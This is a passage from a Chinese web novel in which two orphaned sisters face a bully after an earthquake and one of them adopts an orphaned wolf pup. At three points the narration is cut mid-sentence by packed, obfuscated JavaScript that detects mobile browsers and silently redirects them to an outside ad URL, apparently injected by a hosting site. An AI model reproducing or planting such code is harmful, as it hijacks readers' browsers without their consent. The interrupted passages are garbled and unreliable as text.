宁竹也不客气，直接将蜜饯吃下，甜味在嘴里绽开，有些齁人，但不得不说，甜食确实能让人心情愉悦。 看见阿姐肯吃，宁荷笑的比自己吃到了还开心，小身体紧紧挨着宁竹。 宁竹也随她，不得不说，宁荷这个孩子虽然黏人，但很懂得分寸，该撒娇撒娇，该听话时绝对不会胡搅蛮缠，着实让人心疼得紧。 姐妹俩亲昵地贴了一会儿，宁竹将打满水的木桶提上来，却没有急着回去，找了个相对僻静人少点的地方。 “正好现在没事，把我前几天教你的练一练。” 温柔阿姐瞬间变成严肃师父，转变得太快，宁荷一时有些傻眼，愣在原地没动。 她哪里知道，宁竹正在想着，这次地动就是警醒，宁荷的习武之事必须抓紧，若是到了关键时刻，自己腾不出手来照顾她该怎么办，人终究还是得靠自己。 宁竹见她没动，又轻轻拍了拍她的背，哄道：“乖，快去吧。” 宁荷慢吞吞地从她身边离开，站到前方的空地上，深吸一口气，双脚分开，双手握拳，像模像样地摆好架势，就准备开始。 冷不防，一道黑影悄无声息地靠近了宁荷，把手悄悄伸到了她背后，带着明显的恶意，意欲将她推倒。 可是他的动作再快，又怎能快得过宁竹。 宁竹的眼神骤然一冷，身形快速掠出，偷袭者连她人都没看清，手腕就传来剧烈疼痛。 偷袭者顿时发出一声凄厉的惨叫。 “啊啊啊好痛，你这个该死的拖油瓶，快点放开，阿奶！阿娘！你们快来救我啊！” 11. 曾襄 顷刻间，属于孩子的哭嚎声响彻天际。 宁竹厌烦地皱起眉，冷眼看着面前这个痛得跌坐在地，哭得一把鼻涕一把泪的孩子。 哟，还是个熟面孔。 正是昨晚回来路上遇到的跟在中年男人身边小孩，哭闹的样子和昨天如出一辙。 有熊孩子做衬托，宁竹愈发觉得宁荷的懂事听话是多么难得。 宁荷则是站在原地，看着这一幕愣了几秒，随即抬起头看向宁竹，两颊泛红，眼中都闪着光。 “阿姐好厉害！” 听到这话，偷袭者的哭声一顿，脸庞涨得通红，两只手拼命地挣扎着，试图从宁竹的钳制中挣脱出来。 “你快放开我！！你们两个短命赔钱货！！” 宁竹眉头都没动，反而更加用力地扣住了他的手腕。 若不是看他还是个孩子，就凭对方不知轻重偷袭宁荷的举动，她只会第一时间就亲手拧断对方的胳膊。 曾襄，也就是偷袭的那个孩子，一看就是个惯常撒泼的主，哭喊声极具有穿透性，不过片刻就传遍了周遭。 很快就有人来查探是什么情况，是不是自家孩子受欺负了。 宁竹手上的熊孩子显然是“威名赫赫”，一眼就有人认出来了。 “这不是曾童生家的曾襄嘛，又在外面欺负人了啊。”一个中年妇人皱着眉头说道。 明明哭得惨兮兮的人是曾襄，事实是欺负未遂，但被这围观的人这么一说，连宁竹都差点没崩住表情。 围观的众人没有一个上前拉架和劝阻的，倒是宁竹还听见有两个妇人站在一旁低声交谈，语气里带着几分不满和嫌恶。 “这小子昨天今天都没个消停，周遭人家的老实孩子几乎都被他给欺负了个遍。” “谁说不是呢，我家孩子是个夹尾巴狗，昨日被曾襄欺负了，今日怎么说都不愿意出来玩。” “实在不像话，曾童生也该好好管管这孩子了，哪能由着他来，早晚要吃亏。” 这一片几乎都是昨夜被困在同一个地方的人，曾襄仗着自己体格强壮，没少欺负周围人家的小孩，把人都给得罪透了，难怪没人开口帮忙。 更何况，在他们眼中宁竹一个瘦瘦弱弱的小娘子，手腕子眼瞅着还没有曾襄一半粗，哪能伤到人，肯定是那个曾襄在故意作怪。 奈何曾襄的哭功着实了得，喊声越来越大，颇有撕心裂肺之感，众人耳朵都快被吵麻了，终于有人受不了这吵闹，跑去叫了曾襄的父亲。 没过多久，一位穿着长衫的男人匆匆赶来，正是宁竹昨夜遇见的那个中年男人。 他看起来比昨夜更加憔悴，眼窝深陷，显然是没有休息好，身上的衣摆也沾上了泥污草屑。 跑得太急，来的时候气喘吁吁，当他看清眼前的场面时，眉头微微皱起，脸上带着些尴尬。 “曾童生来了！”有人笑话曾襄，“快别哭了，你爹来了。” 闻言，曾襄叫得更大声了:“爹！你快来救我！” 他像是找到了靠山，恶狠狠地看着宁竹：“我爹来了，你这个拖油瓶死定了！” 只是话说完，他视线飘忽不定，脸上一闪而过自己都未察觉到的心虚和害怕。 围观的人群纷纷将目光投向中年男人，嫌弃的、看热闹的、也有不屑的。 曾久林感受到这些目光，顿感丢了大脸，心中更是懊悔不已，暗自咬牙痛骂那个多管闲事唤他来的人。 相比于大多普通老百姓，曾久林再不济也是个童生，读书识字的本事还是有的，灾情过后，官府急需人手记录各项事务，他的这点本事倒是派上了用场。 方才他正在跟那些官兵周旋，试图谋个长期的职位，顺便多捞些好处，谁知就在这时，背后突然有人高喊他的名字，还大声嚷嚷着他儿子又闯祸了。 这一喊，不仅打断了他的计划，还让他在那些官兵面前闹了好大一个没脸，曾久林此刻都还记得那些官兵看向自己时，那戏谑的表情，明晃晃地嘲笑他连个孩子都管教不好。 他心中屈辱不已，若不是地动来得突然，他身上既无银钱也无粮食，又何必低声下气地去奉承这些兵痞子。 如今境地已经艰难如此，偏偏自家蠢儿子还一个劲儿拖后腿，让他被人嘲笑。 这会儿，曾久林心中的火气是一阵高过一阵。 可是不管心中再烦躁，对和自家儿子起冲突的小丫头再怎么不以为意，当着这么多人的面也不能表现出来。 曾久林清了清嗓子，又想拿出老一套，大事化小小事化了。 宁竹可不会给他这个机会，抢先开口，朗声质问道：“你为何要从背后偷偷推我妹妹？” 曾襄仰起头，脸上带着一副理所应当的表情，丝毫不觉得自己做错了事，又有什么不对。 “我看见了你们在偷偷吃糖！丫头片子都是拖油瓶，当然不配吃这些！” 此话一出，周围人的目光更是难言，那些脾气火爆的妇人再也忍不住，也顾不上说这话是个孩子，狠狠地啐了一口，指着曾襄的鼻子大骂出声。 “这是什么狗屁话！你们家是没有亲娘姐妹吗？满嘴胡言的臭小子，实在该打！” 曾襄一副死猪不怕开水烫的无赖样子，倒是曾久林瞬间脸皮都涨红了，大声训斥道：“孽子！还不快住嘴，这些话都是谁教你的！” 曾襄不服气，想也不想就顶嘴道：“阿奶阿娘都这么说！” “你，你——” 曾久林指着他，气得半晌说不出话，一手捂住了脸，佝偻着身子，看着还有些可怜，再开口时语气都带上了哽咽：“是你阿娘她们说错了，如今他们人都已经不在了......” 要不是地动发生时，他的妻子和老娘都在家中未能逃出来，人没了，逼得他不得不亲自带孩子，现下这种事哪里用得着他出面！ 周围的人不知他心中所想，顿时沉默了下来。 是啊，地动来得突然，大伙儿都是受害者，又有谁能够独善其身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143085|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢，众人不禁有些感同身受。 死者为大，实在是不该咄咄逼人，惹人伤怀。 宁竹冷眼瞧着围观人群脸上浮现的同情神色，知道曾久林是在转移视线，自然不会给他这个机会。 她往曾襄的合谷穴上一按，用了些巧劲，疼痛加倍，过后却连红痕都不会留下。 趁着对方尖叫出声的时候，宁竹松开手，转身抱住有些呆愣的宁荷，没哭没闹，只就事论事。 “妹妹，爹娘不在了，家中只剩下你我二人，阿姐护不住你，看着你被人欺负，却讨不回公道。” 一句话将姐妹俩的可怜委屈之处尽数道出。 那些原本想劝和的人都开不了口了。 特别是姐妹俩相依为命的可怜模样和曾襄形成鲜明的对比。 曾襄抱着手只哇乱叫，脸上鼻涕眼泪糊成一团，眼神还在恶狠狠地望着宁竹，模样着实惹人生厌。 再定眼一看，他手上连红痕都没有，想来也是为了逃避责骂装的。 围观的人们只觉得曾襄小小年纪就养成这幅性子，还不如四五岁的稚童，属实不堪。 “曾先生自诩读书人，怎么会让自己的孩子变成这泼皮无赖的样子？”宁竹问出了大多人的心声，众人听得连连点头。 宁竹抬起头，脸上的困惑不似作假，只是看起来嘲讽的意味更重：“我实在是想不通，难不成是有意为之？亦或者家风如此？” 曾久林被质问得哑口无言，要换成其他人这么说，他必然寸步不让，需让对方知道厉害。 可是说话的是被自己儿子欺负的“苦主”，还是两个父母双亡的小姑娘，他天然理亏，只能忍下这一口气。 这样一来，便是愈发厌烦这个蠢儿子。 “当然不是！”曾久林猛地抬起手，狠狠地扇了曾襄一巴掌，在后者戛然而止的哭声中，愤怒地说道，“孽子！谁让你欺负人了，为父从小教你礼义廉耻，让你怜爱弱小，你都学到狗肚子里去了！？你怎么会变成这幅模样！都怪我平日里忙，由着你阿娘他们纵容你，将你宠坏了，都是我的错啊！我的错！” 这番话说到最后，曾久林是真的有了几分后悔。 曾襄捂着红肿的脸颊，呆呆傻傻的都忘了哭，像是还没回过神来的样子，被曾久林拎起来按着脑袋道了歉。 他不再哭闹，只是一言不发地站在旁边，低着头不知道在想什么。 曾久林问道：“这位姑娘，你看这样可以吗？” 宁竹没说原谅不原谅，只是道：“被欺负的是我妹妹，要问过她的意思。” 刚才场面混乱，宁竹没注意到宁荷，说完才发现她已经走到曾襄身边，一双黝黑的眼睛直直地望着对方。 曾襄也发觉有人走到了身边，只是他沉浸在复杂酸楚的心绪中，对此不以为意，不过是一个还没自己高的拖油瓶，没什么好怕的。 可抬头时，冷不丁对上宁荷那双大大的黑眼珠，他心头一抖，竟然不自主地打了个寒颤。 12. 再次进城 宁荷背对着众人，稚嫩的脸上面无表情，直直地望着他：“你刚才骂我阿姐了，给我阿姐道歉。” 曾襄被看得汗毛都竖起来了。 他在父亲略带威胁意味的目光下，结结巴巴地说了句“对不起”，然后逃似得跑开了。 曾久林连忙道：“我今后一定会好好管束他，请诸位放心。” 说罢，朝着宁竹和周围的人一拱手，赶忙追着曾襄的背影而去。 “罪魁祸首”都已离开，围观的群众看不成热闹也就散开了，还有好心的妇人嘱咐宁竹，天黑了快带着妹妹回去，别在此处逗留。 宁竹一一谢过，单手提起木桶，领着宁荷往回走。 “阿荷，是不是被吓到了？” 虽然宁荷看着没哭闹，但她可是晚上自己睡觉都会害怕的小孩，宁竹还是多问了一句。 宁荷牵着姐姐的手，闻言抬起小脸，没有宁竹想象中的不安，甚至还带着笑容。 “我不怕，有阿姐护着我！阿姐是世界上最厉害的阿姐！我也会护着你的！” 竟是还反过来安慰她了。 宁竹从前是师门最小的弟子，唯一带过的孩子就是宁荷，实在不知她这个反应对还是不对，也无从比较。 不过这还是她第一次被一个四五岁的小孩给哄了，有些受用，还有些新奇。 宁竹伸手揉揉她的小脸。 宁荷也不躲，笑得咯咯咯，还使劲仰起头让她揉捏。 宁竹当然不会客气，心中暗叹：小孩子的脸是真软乎，手感真好。 刚才那一出并没有影响到姐妹二人的心情，回去后就将事情给抛在了脑后，谁都未曾放在心上。 古代睡得都早，一来是晚上没有什么娱乐项目，二来就是蜡烛着实费钱，能省一点是一点，更别说现下如此艰苦的条件，更是没人敢浪费。 宁竹当然也是入乡随俗，帮着把锅碗瓢盆一类的东西搬进季家夫妇的帐子里，摸着黑简单洗漱后就在帐篷里坐下。 暂时安顿下来，并不代表就安全了。 宁竹没跟季新桐说守夜的事，她一向浅眠，有什么风吹草动都会第一时间发现的，不必再辛苦两个人替换守夜。 三人挤作一团，依偎着睡去。 半夜时，宁竹听见了雨滴落在油布上的声音。 一场大雨来得又凶又急，鼻尖全是泥土的腥味，宁竹起来看了看帐篷，搭建得还算是结实，没有倒塌漏雨的迹象。 大雨持续了整整一夜，直到天边泛起鱼肚白才渐渐停歇。 今日卯时就会进城，卞含秀担心宁竹和季元武路上吃不饱，特意早起，趁着许多人还没醒，用细面和了些面糊，想烙几张饼给他们带上。 宁竹和季新桐起来时，宁荷还在被窝里睡得香甜，小脸埋在枕头里，呼吸均匀，两人没有叫醒她，轻手轻脚地出了帐篷，先出去洗漱了。 帐篷外的地面还是湿漉漉的，泥泞不堪，只是不多时，太阳就出来了，温度骤然上升，与昨日的阴冷形成了巨大的反差。 事出反常必有妖，这种诡异的温差让人莫名感到不安。 帐篷周围不时还会传来一两声咳嗽，沉闷而压抑，大概是昨日那些淋雨的人受了风寒，还有人的哭诉帐篷塌了，咒骂老天爷不给人活路。 宁竹不着痕迹地皱了下眉，打算等会多注意一下这些人的状态。 这会儿她心中存着事，并没有察觉到，她前脚刚离开，后脚宁荷就醒了。 宁荷自己穿上衣服和鞋袜，揉着眼睛就走出帐篷，想要去找阿姐。 等她出来时，只看见卞含秀在忙着烙饼，并没看见宁竹的身影。 她张口就想问，突然，余光瞥见一个鬼鬼祟祟的身影正躲在帐篷后偷窥。 那身影赫然就是昨日的曾襄！ 宁荷停下脚步，目光直直地望向他。 两人对视几秒，曾襄有些心虚，下意识地想要转身逃走，就在这时，宁荷却做出了一个出乎意料的举动。 曾襄就看见那个矮冬瓜解下腰间的小荷包，从里面倒出一颗蜜饯，朝他摊开手掌。 她笑着说。 “我这里有糖，你吃吗？” 此时的宁荷，脸上带着软糯无害的笑容，就是一个不谙世事的普通小孩，和昨天面无表情的样子简直判若两人。 曾襄愣了一下，目光不由自主地落在宁荷掌心的蜜饯上，那蜜饯色泽金黄，散发着甜腻的香气，价格不便宜。 即便是阿娘阿奶在时，也不会经常给他买，家里的银子都要留着给父亲买那些笔墨纸砚，他只有逢年过节才能吃上一两颗。 曾襄嘴里不自觉地分泌出口水，一时放下了戒备，也忘记了昨晚了教训，看着逐渐朝他走近的宁荷，趾高气昂地命令道：“把糖给我！” 宁荷弯着眼眸，又把手往前一递：“就在这里，你来拿吧。” 曾襄不做他想，心想姐姐厉害能欺负他，这个比自己小这么多的妹妹总不至于也能欺负他吧，他毫不犹豫地伸手去拿蜜饯。 事情发生在他指尖碰到蜜饯的时候，一股难以置信的力道将他拽倒，他还没反应过来，整个人就被拽得失去了平衡，重重地扑倒在地上。 “啊！”曾襄刚想尖叫，头发却被人用力扯住，疼得他倒吸一口冷气，他挣扎着想要爬起来，却发现宁荷已经一屁股坐在了他的背上。 小小的身体却仿佛有千斤重，压得他动弹不得。 宁荷手指按上他的腰间的痛穴，曾襄张嘴就要尖叫，被她手疾眼快地把头按进土里，吃了一嘴泥。 “不许哭！” 宁荷肃着小脸，冷冷斥道。 曾襄眼里包着泪，硬生生把哭声给咽了回去，他再也不敢有别的想法，蜜饯什么的再也不想要了，只想离这家两姐妹远远的。 真的太可怕了！ “不许再来欺负我和姐姐。”宁荷的稚嫩声音依旧冰冷，拽着他头发的手又重了些。 曾襄疼得曾襄龇牙咧嘴，却不敢发出半点声音，忙不迭点头。 宁荷这才大发慈悲地松开手，曾襄如蒙大赦，连滚带爬地逃走了，背影狼狈不堪。 宁荷站在原地，静静看着曾襄逃走的背影。 末了，她拍拍手上的灰尘，转身回到帐篷里，仿佛刚才的一切从未发生过。 —— 等宁竹倒水回来时，宁荷已经醒了，窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143086|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在被子里，眼角带着泪光像是刚刚睡醒的模样。 “阿姐~” 宁竹应了一声，给她拿衣服，视线落在她沾满了些许泥土的鞋子上，目光一顿，转头看见宁荷正在困倦地打哈欠，终究也没问。 她将衣服递给宁荷。 “起床吧。” 宁荷还不知道自己在露馅的边缘，犹然不觉地自己穿衣起床。 等吃完了早饭，就差不多到集合的时间了，宁竹带上卞含秀烙的饼就跟着大部队出发了。 宁荷不被允许跟着，只能眼巴巴地目送姐姐离开。 官兵带领着一行人，从昨日出来的西城门进入城中，路面看着比昨日要宽敞一些，但依旧凌乱不堪，到处都是沾满了血迹的杂物。 空气中弥漫着一股难闻的臭味，混合着尘土和腐烂的气息。 季元武负责清理的区域正是宁竹他们所在的坊间，前夜在集市中避灾的人也大多是坊中的居民，此刻，他们望着眼前这片废墟，心中满是悲伤和迷茫。 不过，官兵们并没有给他们太多伤感的时间，清理的活儿很快就开始了。 从最外围开始，众人用简陋的工具一点一点地搬开碎石和木头，如果是现代，有机器帮忙，这些废墟最多一晚上就能被清理干净，但在这个什么都只能靠人力的时代，清理工作显得格外的漫长和艰难。 宁竹中途找准机会跟季元武打了招呼，脱离了队伍，独自朝着家的方向快步走去。 到了家门口，她家的房子显然已经被人光顾过了，有人踩到了泡菜坛子打碎后流出来的液体，留下了大片的脚印。 好在地窖被最大的一根横梁木压住，倒是没人动过。 周围没有人，宁竹直接双手抓住横梁木的一端，腰部微微下沉，猛然发力，巨大的木头就硬生生被拖开了。 她跳进地窖里，借着从头顶透下来的微弱光线，迅速收拾了大半背篓的物资。 地窖里东西太多，怕是还得再来一趟，她算了算季元武他们清理废墟的速度，估计这两日还到不了这边，便决定明日再来。 将地窖重新掩盖好，宁竹又去了被压塌的宁家父母的卧房。 他们的房间是最大的，自他们去世后再也没有人住过，不过宁家兄妹几个都好好保持着原样没动，日日都打扫，这样就好像父母还在身边。 可惜如今只剩下一片废墟。 宁竹躬身费力翻找，也有了些收获，她找到了一床厚实柔软的大被褥，那是宁母在世时，特意为宁松娶媳妇准备的新婚被子。 可惜，宁母没能坚持到那时候，而宁松也在跑商途中丢了性命，这床被子，倒是给宁竹他们雪中送炭了。 今日天气已经回暖，甚至更热，不过谁知道之后这破天气还会怎么变化，拿上以备不时之需。 宁竹将被褥卷好，使劲塞进背篓里，瞬间将位置占满，还往外露出一大截，她又从角落扒拉出一块沾满灰尘废布，将上面盖住。 这样看着就很不起眼了。 宁竹最后来来回回检查了一遍，确定没什么遗漏的，便背起竹篓，准备出城。 就在这时，她听见隔壁的方向传来一声低低的呜咽。 13. 遇狼 那呜咽声轻而短促，时不时间断，夹杂着痛苦的喘息，不像是人，反倒更像是某种动物发出来的。 让宁竹莫名想起，不久前在树林中遇到的那只带崽母狼，那时，她和对方遥遥对峙半晌，碍于某些原因都没有主动攻击，而是各自离开。 思及此，宁竹心中一动，侧耳循着声音传出来的地方走去。 随着声音越来越近，宁竹看见了地面上还未干涸的零星的血迹，下意识顺着血迹的方向望去。 下一秒，她撞上了一双充满兽性的眼睛。 那是只体型硕大却格外瘦削的狼！ 它通身灰白的毛发满是血迹和灰尘，后腿被倒塌的木头压住，动弹不得，侧躺着的腹部还有一道狰狞的伤口，鲜血将周围的毛发染得通红。 在它身边，还有一只毛茸茸的小家伙，正在焦急地舔着母亲的脸，发出细弱的叫声，还用鼻子去拱母狼的身体，试图唤起已经奄奄一息的母狼。 那只幼崽的体型酷似小狗，却又要比普通小狗大上一圈、耳朵尖尖竖起、尾巴蓬松、眼中带着属于狼的野性。 宁竹越看越觉得眼熟，低声自语道：“啧，还真是。” 世界就是这么小，眼前这只狼狈不堪的母狼，赫然就是她遇见过的那只。 带崽的母狼通常都格外凶狠，一旦察觉到危险，就会毫不犹豫地发起攻击，那会儿在树林中，若不是它伤势严重，恐怕早就和宁竹打起来了。 宁竹没有想到，再次见面时，母狼的幼崽仅存一只，而它自己也是濒临死亡。 狼这种生物一般不会靠近人类的领地，料想是昨日大部分城中百姓往外逃，惊扰到了母狼，这才迫不得已带着孩子躲进城中，还恰好来到了这附近。 宁竹没有贸然靠近，可是虚弱的母狼依旧机警地察觉到了，它睁开眼睛，费力挣扎着起身，耳朵向后压平，背部弓起，喉咙里发出低沉的咆哮声，露出锋利的狼牙。 它摆出攻击的姿态，仿佛随时会扑上前咬断侵略者的喉管，可微微颤抖的尾巴早就将它暴露——如今不过是强弩之末罢了。 宁竹没动，静静地和母狼对视。 她并不想多管闲事，可是见过母狼当初毛发飘逸，带着几只幼崽仍旧威风凛凛的样子，再对比现在凄凄惨惨，身边仅余一个狼崽的处境，实在有些惋惜。 不可否认，宁竹挺喜欢这只母狼的，她抿了下唇，正欲说些什么。 这时，脚下地面开始颤动起来。 宁竹脸色猛地一变。 余震来了！ 母狼的后腿被压，想跑也跑不了，只能任由砖石碎瓦砸在身上，用尽全力为幼崽挡住灾难。 余震只持续了短短几秒钟，但已经足以击垮奄奄一息的母狼。 宁竹听见它身躯倒下的声音，它努力想再次站起来，却又一次次以失败告终，最后不得不放弃，腹部的伤口几乎不再有血液流出。 幼崽的声音愈加凄厉，母狼只是艰难地抬起头，认真地用舌头轻轻舔了舔幼崽的脸。 宁竹想要离开的步伐定住了。 母狼的眼神中褪去了兽性，只有温柔和不舍，它用尽最后一丝力气，竟是看向了宁竹，那是一种近乎于人类的恳求。 不知道是不是认出来，宁竹曾经在城外树林和它有过一面之缘，此时，它竟然向人类求助。 “我救不了你。” 宁竹鬼使神差地说出这句话。 它受伤太严重了，身上的血几乎都快流干了，宁竹身上只有解毒丸，并没有治疗外伤的药。 母狼像是听懂了宁竹的话，它用鼻子拱了拱在身边徘徊的幼崽身躯，把它向宁竹的方向推。 宁竹的视线在母狼和小狼狗的身上游移，最后定格在幼崽身上，发出几不可闻地叹息。 她缓步走上前，无视幼崽炸毛的龇牙，在母狼面前蹲下，望着它的眼睛。 “我答应你了。” 母狼眼中出现泪光，它轻轻点了点头，呼吸越来越弱，然后永远地停住了。 小狼狗像是也察觉到什么，发出一声呜咽哀嚎，扑在母亲身上，不停地舔着它正在逐渐失去体温的脸。 宁竹不能在这一片多留，母狼的尸体留在这里只有两种下场，一是在日光下快速腐烂，被蛇虫鼠蚁啃食，二是被人类发现，用来祭奠五脏六腑。 不管是那种，都不是宁竹想看见的，她将幼崽拨到一边去，搬开压住母狼后腿的木头，将它抱出来，又在自家还没有完全被埋住的院子里，挖了一个半人深的坑，将母狼埋在了这里。 死后的身体得以保全，是宁竹能给的最体面离开的方式了。 幼崽看见母狼的身体被彻底掩埋，身体盘卧在小土包上面不肯离开。 宁竹不顾它的反抗，一把将它捞起来。 “走吧，我是答应养你，你也得回报我知道吗？” 小狼狗目光留恋地望着母狼的方向，并没有挣扎，抬头舔了舔宁竹的脖子。 小家伙身上有一半狗的血液，倒是比狼要更加亲人，宁竹见它似乎是把自己当成母狼的替代了，有些黏人，应该不会乱跑，就将它放了下来。 小狼果然亦步亦趋地跟着。 宁竹刚才抱它的时候检查过了，母狼将唯一还活着的孩子照顾得很好，小狼身上毛发略显凌乱，但是很干净，没有跳蚤，也没有受伤。 小小一只上手还挺沉，就是肚子瘪瘪，看样子应该是地动之后就没有进过食，身上还残留着奶味，但是牙齿已经有些锋利了，想来是才断奶不久。 这是好事，毕竟如今这条件，宁竹可没有本事去给它找奶。 宁竹找出一个还算干净的破碗，从竹筒中倒出一些水，又撕碎烙饼泡进碗里。 小狼狗将头埋进去，吃得发出呼噜噜的动静，蓬松的尾巴也摇起来。 宁竹捋了捋它的头毛。 “好了，以后就跟着我吧。” 小狼“嗷呜”一声，舔了舔她的手心。 回去时候就变成了一人一狼。 宁竹带着小狼沿着来时的路走，想顺便知会季元武一声，等会儿不用再来找她。 小狼狗腿还比较短，肚子上的毛都蹭脏了，宁竹手上拿着东西也不方便抱，只好将它放在胸前，用外衣兜着。 因为刚刚才发生过余震，空气中的尘土味越发浓重，隐隐夹杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147234|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着腐烂的气息，让宁竹忍不住皱了下鼻子。 越往外走人就越多，街道两旁多是无家可归的百姓，有的双眼空洞，仿佛行尸走肉；有的抱着仅存的财物坐在地上发呆；有的跪在废墟面前，掩面嚎啕大哭…… 突然，宁竹听见背后传来喊声。 “快让开！别挡着！” 两个壮汉抬着什么匆匆而过，她瞥见木板上面用满是污渍的麻布盖着，仅在边缘垂下一只青紫乌黑的手，指甲盖翻起，指缝里是血污泥土。 宁竹眸色微暗，默默加快了脚步，朝着季元武负责的地方去。 眼下还没到休息的时候，几个官兵正带着灾民在废墟中挖掘，旁边清理出来的空地上，摆着几具用破布盖着的尸体。 不远处有书吏正在做着记录，周围还有许多打听消息的百姓。 此时，粥棚那边走来一位官兵，喊了声。 “休息一刻！先用饭！” 原来不知不觉已经到了午时，往常说放饭时，人们早就蜂拥而去，今日去领粥的人却寥寥无几，甚至有几个汉子正弯着腰大吐特吐。 季元武眼尖看见了宁竹，快步朝她走过来。 等人走近了，宁竹才注意到，早上还好好的汉子，看起来憔悴了许多，眼睛里都是血丝，嘴上还生了个大水泡。 “季叔，那边已经没剩什么东西了。” 季元武点点头，声音沙哑：“好，那我就不去了，你路上别逗留，快些回去。” 宁竹应了声“好”，又问道：“有承哥儿的消息吗？” 提起这个，季元武整个人都显得有些沉重，他眉头皱起，摇了摇头说道：“我已经托那几位官兵帮忙留意，应该很快就会有消息的。” 今日他直面了眼前的残酷，只觉得没有消息也是好消息，至少没有找到尸体，人就有可能还活着。 “季叔？” 季元武回过神：“跟你秀姨说，没事的。” 宁竹“嗯”了声，胸口似乎有什么东西动了动。 季元武这才发现她怀里还有一个毛茸茸的脑袋。 “咦？哪里来的狗崽？长得还挺精神。” “路上捡的。” 小狼狗的颜值不错，就是脾气属实不怎样，直接对着季元凶神恶煞地哈气，然后就被宁竹按着头塞回去了。 宁竹没管小狼狗，对刚才看见的简陋隔绝尸体的手段有些耿耿于怀，她从背篓里摸出一张干净的布料来，递给了季元武。 “季叔，我听先前给我看病的大夫说，有些尸体碰过后容易染病，捂住口鼻能稍作防护，眼下天气是热，但还是多小心些的好，这块布很干净，您用上吧。” 季元武略一迟疑，还是接了过来。 “回头让你秀姨还你张新的。” 宁竹看他将口鼻遮得严严实实的，心中松了口气。 现在他们还在一个锅里吃饭呢，让季元武小心，也是对自己的小命负责，也幸亏季元武不是那等固执倔强的人，还是很能听得进去意见的，不然她还得另想法子。 宁竹也就是顺道过来说一声，如此便不再多停留，告辞了季元武，带着小狼狗朝城外走去。 14. 防卫招数 现下是白日里，到处都有官兵在组织救人，倒是没人在意背着背篓的宁竹，她很快就回到了灾民帐篷区。 宁荷正在跟季新桐学着缝补破了口的被子，不过她纯粹是旁观的那个，不甚专心的左顾右盼。 忽然，她眼尖地看见了那抹熟悉的身影，忙不迭起身迎过去。 “阿姐！” 宁竹连忙阻止宁荷扑人的动作。 她怀里还有一只小狼狗，若是宁荷不小心扑过来，无论是小狼狗咬了宁荷，还是宁荷压到它，都不太好，要提前杜绝这种情形发生。 宁荷的额头被宁竹用一根手指头定住。 前者被她的动作弄得一愣，随即目光下移，难以置信地盯着她衣领口那团毛茸茸的东西看。 “这是什么东西！” 竟然占据了她的位置！ 宁竹将怀里的小狼狗放下来，它一落地便抖了抖浑身的毛，还侧着脑袋自己舔了舔不平整的地方。 “小狼狗，以后你们要好好相处。” 季新桐也停下手中的针线，好奇地凑过来，蹲下身子仔细打量着这小家伙。 “好生可爱，你从哪里寻来的？” 宁竹说得言简意赅：“路上捡的，母狼死了，我就把它带回来了。” 一旁的宁荷听到小狼狗也没有了母亲，心中的敌意顿时消散了不少，正在和小狼狗大眼对小眼，熟悉着彼此。 季新桐轻声问道：“它吃什么？还喝奶吗？” 宁竹回道：“吃肉，也能吃点别的，已经断奶了，等会儿带它去树林里溜溜。” 不管是狼还是狗，都不适合吃人类的食物，宁竹打算抽时间带它进林子深处去弄些猎物。 季新桐点了点头，也没有觉得给狗吃肉有哪里不对，她没有养过小动物，家里地方小，连鸡仔都没有养过，冷不防多了只小狼狗，也蹲在一旁新奇地瞧着。 宁竹左右看看，没看见卞含秀的身影。 “秀姨呢？” 季新桐抬起头说：“阿娘去了河那边，去问问有没有人见过承哥儿。” 夫妇俩无论在哪里都没有放弃打听寻找儿子。 宁竹不再多问，看了看帐篷旁的柴火堆，发现柴火已经不多了。 正好，她心里还存着件事，急于到无人处求证，将手里的东西放下后，没让宁荷跟着，自己拿着斧头，叫上小狼狗一起朝树林那边走去。 经历过几次地动，小树林就像是被人用手来回蹂躏过一般，翻起的地皮、歪东倒西的树干、失去生机枯萎的花，就连偶尔能瞧见的鸟雀兔子也都踪迹全无，看着略有几分凄凉。 宁竹随便找了一棵倒下的树干，举起斧头就开始砍，小狼狗则在她周围自顾自地玩耍，还跑到灌木丛里留下标记。 等树干砍到一半时，宁竹突然感觉有什么东西在扒拉她的裤脚。 她停下手中的动作，低头看去，小狼狗十分努力地用前爪吸引她的注意，小小的嘴筒子里竟然咬着一只色彩鲜艳的野公鸡，鸡的身体还是温热的，脖子上是被小狼狗咬穿的血洞。 发生大地震后，小动物通常会选择逃离栖息地，这只野鸡也不知道是怎么回事，没有逃跑还在这一片打转，最后便宜了小狼狗。 没想到这小家伙竟然还能自己捕猎。 宁竹蹲下身子，轻轻拍了拍小狼狗的脑袋，赞许道：“不错，还能自给自足。” 